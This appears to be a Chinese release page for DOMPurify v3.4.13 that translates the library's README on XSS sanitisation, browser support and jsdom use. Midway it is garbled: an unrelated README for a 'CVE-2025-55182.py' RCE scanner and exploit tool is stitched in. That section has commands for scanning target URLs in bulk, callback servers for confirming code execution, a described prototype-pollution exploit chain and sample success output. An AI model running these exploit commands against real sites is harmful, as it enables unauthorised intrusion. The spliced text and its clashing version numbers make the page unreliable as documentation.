返回更新列表
新发布Aug 3, 2026

DOMPurify v3.4.13

DOMPurify —— 一个仅基于 DOM、超快、高容错的 XSS 过滤器,适用于 HTML、MathML 和 SVG。DOMPurify 默认安全,但提供大量可配置项和钩子。演示:

分享

DOMPurify

npm License Downloads dependents npm package minimized gzipped size (select exports) Cloudback

OpenSSF Best Practices Build & Test OpenSSF Scorecard Socket Badge snyk.io package health

DOMPurify 是一款仅基于 DOM、速度极快、极其宽容的 XSS 清理器,适用于 HTML、MathML 和 SVG。

它也非常简单易用,上手很快。DOMPurify 始于 2014 年 2 月,如今已发展到 v3.4.15 版本。

DOMPurify 以 JavaScript 运行,适用于所有现代浏览器(Safari (10+)、Opera (15+)、Edge、Firefox 和 Chrome——以及几乎所有使用 Blink、Gecko 或 WebKit 的其他浏览器)。它在 MSIE 或其他旧版浏览器上不会出错,只是什么都不做。

请注意,DOMPurify v2.5.9 是最后一个支持 MSIE 的版本。如需与 MSIE 兼容的重要安全更新,请使用 2.x 分支。

我们的自动化测试在每次推送时覆盖当前引擎(Ubuntu、macOS 和 Windows 上的 Chromium、Firefox 和 WebKit)上的 9 种浏览器/操作系统组合,并且另有一个矩阵在较旧的引擎快照(大约可追溯到 Chromium 110、Firefox 108 和 WebKit 16.4,约三年前)上重新运行测试套件,以便也能捕获过时浏览器上的回归问题。我们还在 jsdom 上使用 Node.js v20、v22、v24、v25 和 v26 运行 DOMPurify。已知较旧的 Node 版本也能正常工作,但是嘛……不保证。

DOMPurify 由在 Web 攻击和 XSS 方面拥有深厚背景的安全人员编写。无需担心。更多详情,请阅读我们的安全目标与威胁模型。请阅读它。真的,请务必阅读。如果你喜欢那些血腥细节,攻击类别与绕过历史页面记录了 DOMPurify 防御的解析器变异、命名空间、覆盖和模板技巧。

DOMPurify 项目启发了 HTML Sanitizer API 的创建,该 API 已在许多浏览器中发布。同样的能力现在正直接在 WHATWG HTML 规范中进行标准化。

目录

它有什么作用?

DOMPurify 净化 HTML 并防止 XSS 攻击。你可以向 DOMPurify 传入例如一个充满脏 HTML 的字符串,它会返回一个干净 HTML 的字符串(除非另有配置)。DOMPurify 会剥离所有包含危险 HTML 的内容,从而防止 XSS 攻击和其他恶意行为。它还快得惊人。我们利用浏览器提供的技术,将它们转化为 XSS 过滤器。你的浏览器越快,DOMPurify 就越快。

我如何使用它?

很简单。只需在你的网站上引入 DOMPurify。

使用未压缩版本(提供 source-map)```html

### 使用经过压缩和测试的生产版本(提供 source-map)```html
<script type="text/javascript" src="dist/purify.min.js"></script>

之后,你可以通过执行以下代码来清理字符串:```js const clean = DOMPurify.sanitize(dirty);

或者,如果你喜欢使用 Angular 或类似框架,也许这个:```js
import DOMPurify from 'dompurify';

const clean = DOMPurify.sanitize('<b>hello there</b>');

生成的 HTML 可以使用 innerHTML 写入 DOM 元素,或使用 document.write() 写入 DOM。这完全由你决定。 请注意,默认情况下,我们允许 HTML、SVG 和 MathML。如果你只需要 HTML(这可能是一个非常常见的用例),你也可以轻松地进行如下设置:```js const clean = DOMPurify.sanitize(dirty, { USE_PROFILES: { html: true } });

### 是否存在潜在陷阱?

请注意,如果你_先_清理 HTML,_然后_再修改它,很容易**使清理效果失效**。如果你在清理后将清理过的标记提供给另一个库,请确保该库不会自行处理 HTML。请参阅[安全目标与威胁模型](https://github.com/cure53/DOMPurify/wiki/Security-Goals-&-Threat-Model)了解安全使用方法和需要三思的标签/属性,以及[攻击类别与绕过历史](https://github.com/cure53/DOMPurify/wiki/Attack-Classes-&-Bypass-History)了解为什么后处理和更改标记上下文会破坏清理效果。

### 好的,有道理,继续吧

清理标记后,你还可以查看 `DOMPurify.removed` 属性,了解哪些元素和属性被移除了。请**不要使用**此属性来做任何安全关键决策。这只是一个满足好奇心的小工具。

### 在服务器上运行 DOMPurify

DOMPurify 在技术上也可以配合 Node.js 在服务端运行。我们的支持力求遵循 [Node.js 发布周期](https://nodejs.org/en/about/previous-releases)。

在服务器上运行 DOMPurify 需要存在 DOM,这大概不会让人意外。通常,[jsdom](https://github.com/jsdom/jsdom) 是首选工具,我们**强烈建议**使用最新版本的 _jsdom_。

为什么?因为已知旧版本的 _jsdom_ 存在缺陷,_即使_ DOMPurify 100% 正确执行所有操作,也会导致 XSS。例如,_jsdom v19.0.0_ 中存在**已知攻击向量**,这些在 _jsdom v20.0.0_ 中已修复——因此我们真的建议保持 _jsdom_ 更新。

另请注意,虽然存在 [happy-dom](https://github.com/capricorn86/happy-dom) 等工具,但目前**不被认为安全**。目前不建议将 DOMPurify 与 _happy-dom_ 结合使用,这很可能导致 XSS。关于为什么你选择的服务端 DOM 是你可信计算基的一部分的背景信息,请参阅[攻击类别与绕过历史](https://github.com/cure53/DOMPurify/wiki/Attack-Classes-&-Bypass-History)。

除此之外,你可以在服务器上使用 DOMPurify。大概吧。这实际上取决于 _jsdom_ 或你在服务端使用的任何 DOM。如果你能接受这一点,以下是如何让它工作的方法:```bash
npm install dompurify
npm install jsdom

对于 jsdom(请使用最新版本),这应该可以解决问题:```js const createDOMPurify = require('dompurify'); const { JSDOM } = require('jsdom');

const window = new JSDOM('').window; const DOMPurify = createDOMPurify(window); const clean = DOMPurify.sanitize('hello there');

或者,如果你更喜欢使用导入方式,也可以这样:```js
import { JSDOM } from 'jsdom';
import DOMPurify from 'dompurify';

const window = new JSDOM('').window;
const purify = DOMPurify(window);
const clean = purify.sanitize('<b>hello there</b>');

如果你在特定环境中遇到问题,可以考虑查看出色的 isomorphic-dompurify 项目,它解决了许多人可能遇到的问题。```bash npm install isomorphic-dompurify

## 使用示例

### 1. 基本用法

```bash
# 扫描单个目标
python3 CVE-2025-55182.py -u http://target.com

# 扫描多个目标
python3 CVE-2025-55182.py -f targets.txt

# 使用自定义回调域名
python3 CVE-2025-55182.py -u http://target.com -c your-domain.com

# 使用自定义回调 URL
python3 CVE-2025-55182.py -u http://target.com -r http://your-server.com/callback

2. 高级用法

# 使用代理
python3 CVE-2025-55182.py -u http://target.com -p http://127.0.0.1:8080

# 调整超时和线程数
python3 CVE-2025-55182.py -f targets.txt -t 20 --timeout 15

# 详细输出
python3 CVE-2025-55182.py -u http://target.com -v

# 保存结果
python3 CVE-2025-55182.py -f targets.txt -o results.txt

3. 目标文件格式

http://target1.com
https://target2.com:3000
http://target3.com:8080

工作原理

该工具利用了 React Server Components 中 decodeAction 函数的一个原型污染漏洞:

  1. 漏洞检测:发送一个带有 Next-Action 头的特制请求
  2. 原型污染:利用 decodeAction 中的不安全反序列化
  3. RCE 触发:通过污染的原型链执行任意代码
  4. 回调验证:通过 DNS/HTTP 回调确认利用成功

技术细节

该漏洞存在于 React Server Components 的 decodeAction 函数中,该函数在处理序列化数据时未能正确验证输入,导致攻击者可以污染 JavaScript 对象的原型链。

// 易受攻击的代码模式
function decodeAction(data) {
    const parsed = JSON.parse(data);
    // 缺少原型污染防护
    return Object.assign({}, parsed);
}

检测能力

  • ✅ 检测 React Server Components 端点
  • ✅ 识别易受攻击的 Next.js 版本
  • ✅ 通过 DNS 回调验证 RCE
  • ✅ 支持批量扫描
  • ✅ 代理支持
  • ✅ 自定义回调服务器

输出示例

[+] 目标: http://target.com
[+] 检测到 Next.js 应用
[+] 版本: 15.0.0
[+] 存在漏洞: CVE-2025-55182
[+] 已发送回调: http://your-server.com/callback
[+] RCE 验证成功!

免责声明

本工具仅供教育和授权安全测试目的使用。未经授权访问计算机系统是违法的。使用者有责任遵守所有适用的法律法规。作者对任何滥用或由此造成的损害不承担责任。```js import DOMPurify from 'isomorphic-dompurify';

const clean = DOMPurify.sanitize('hello');

## 有演示吗?

分类